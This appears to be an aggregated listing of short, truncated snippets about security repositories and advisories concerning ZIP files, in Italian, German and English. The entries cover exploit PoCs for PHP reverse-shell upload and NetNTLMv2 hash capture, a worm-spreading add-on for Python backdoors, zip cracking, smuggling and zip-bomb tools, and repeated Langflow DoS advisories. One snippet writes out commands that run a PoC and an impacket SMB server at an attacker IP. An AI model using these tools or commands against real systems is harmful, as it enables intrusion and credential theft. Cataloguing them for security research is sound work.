ZIPFileRaider

ZIP File Raider - Estensione Burp per il test di payload in file ZIP ZIP File Raider è un'estensione di Burp Suite per attaccare applicazioni web con funzionalità di upload di file ZIP. Puoi facilmente iniettare i payload di Burp Scanner/Repeater nel contenuto ZIP delle richieste HTTP, cosa che n...

Wormy

Wormy - La sfida In questo repo scriverò alcune funzioni in python3 nel mio tempo libero per aggiungere "funzionalità di diffusione simili a worm" a qualsiasi backdoor python. Dopo aver finito lo trasformerò in un vero worm Lista ToDo : 1Diffusione nei driver, aggiunta all'avvio e controllo...

timesketch

Timesketch Table of Contents 1. About Timesketch 2. Getting started 3. Community 4. Contributing About Timesketch Timesketch is an open-source tool for collaborative forensic timeline analysis. Using sketches you and your collaborators can easily organize your timelines and analyze them all at th...

CVE-2023-50564

CVE-2023-50564 Solo a scopo educativo. Questo script sfrutta CVE-2023-50564 per caricare una reverse shell PHP sul server di destinazione. Puoi utilizzare una shell come questa. Basta zippare il file PHP e passare lo zip a questo script. Esempio python3 cve-2023-50564.py -u http://idonot.exist -f...

Zip-Cracker-

Zip Cracker Questo script supporta solo file zip in questa versione Puoi anche usare questo script con crunch Supportato multipiattaforma Utilizzo: zipcracker.py options Options: --version show program's version number and exit -h, --help show this help message and exit -f FILENAME, --file=FILENA...

CVE-2021-25094

CVE-2021-25094 Upload senza restrizioni del file ZIP addcustomfont del plugin Tatsu uso php p.php...

zipbrk

zipbrk 2.2.0 Zip break è uno strumento per analizzare, modificare e ricostruire file zip per una varietà di scopi. È progettato per essere multipiattaforma e il più semplice possibile da portare tra sistemi diversi. È stato testato su Windows 9x/2k/XP, Windows Vista/7/8, Fedora 23/24/25/26/27,...

CVE-2023-40028

CVE-2023-4002 Ghost-Arbitrary-File-Read : Der Benutzername/die E-Mail für das Ziel-Ghost-CMS. --password : Das Passwort für das Ziel-Ghost-CMS. --url : Die URL des Ziel-Ghost-CMS z. B. http://website.com. 1. Anmeldung: Das Skript authentifiziert sich bei der Ghost CMS Admin API und ruft ein...

CVE-2023-36025

CVE-2023-36025 Test semplice per CVE-2023-36025, basato sul PoC mostrato in https://twitter.com/wdormann/status/1725148437115473947 Questo codice non è pensato per essere eseguito così com'è - il file ZIP deve essere ospitato su un server di tua proprietà, ed essere accessibile alla macchina...

CVE-2025-24071_PoC

CVE-2025-24071 / CVE-2025-24054 PoC Modifica: MICROSOFT HA RINOMINATO CVE-2025-24071 IN CVE-2025-24054 🤔 Panoramica Questa vulnerabilità di Windows, in particolare in 'explorer.exe', ci consente di ricevere un hash NetNTLMv2 da una vittima semplicemente facendo estrarre un file .zip all'attaccant...

CVE-2023-50564-pluck

CVE-2023-50564-pluck CVE-2023-50564 Eine Schwachstelle beim Hochladen beliebiger Dateien in der Komponente /inc/modulesinstall.php von Pluck-CMS v4.7.18 ermöglicht Angreifern, beliebigen Code auszuführen, indem sie eine präparierte ZIP-Datei hochladen. Dies ist eine authentifizierte Schwachstelle...

zip_smuggling

zipsmuggling Dieses Python-Dienstprogramm erstellt Zip-Dateien, die zusätzliche Daten enthalten, die in die Dateistruktur eingebettet sind. Diese zusätzlichen Daten sind beim Untersuchen oder Entpacken der Zip-Datei nicht sichtbar bzw. werden nicht angezeigt, können aber über eine...

CVE-2016-5636

CVE-2016-5636 PoC für CVE-2016-5636, einen Heap-Overflow in Python 3.6. Dieses Repository enthält: crash-with-zip : Crash-PoC durch Lesen einer nicht vertrauenswürdigen ZIP-Datei google-web-engine : Crash-PoC, der auf der Google Web Engine funktioniert spawn-shell : ein lokaler Exploit zum Starte...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP erstellt: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

zip_bomb

ZIP-Bomben-Ersteller ZIP-Bomben-Ersteller ist ein Werkzeug zum Erstellen einer ZIP-Datei, die eine geringe Größe hat, sich beim Extrahieren jedoch drastisch vergrößert. Dies ist nützlich für Sicherheitsexperimente und zum Testen von Dateisystemen gegen ZIP-Bomben-Angriffe. Funktionen Erstellen...

CVE-2026-93679

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption during ZIP file extraction...

EUVD-2026-94118

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption during ZIP file extraction...

CVE-2026-93679 Langflow OSS is affected by multiple vulnerabilities

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption during ZIP file extraction...

CVE-2026-93679 Langflow OSS is affected by multiple vulnerabilities

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to cause a denial of service due to uncontrolled resource consumption during ZIP file extraction...

CVE-2026-93679

IBM Langflow OSS versions 1.0.0 through 1.12.2 are vulnerable to a denial of service (DoS) attack. The root cause is uncontrolled resource consumption occurring during the extraction of ZIP files . A remote authenticated attacker could exploit this to exhaust system resources. No specific exploit...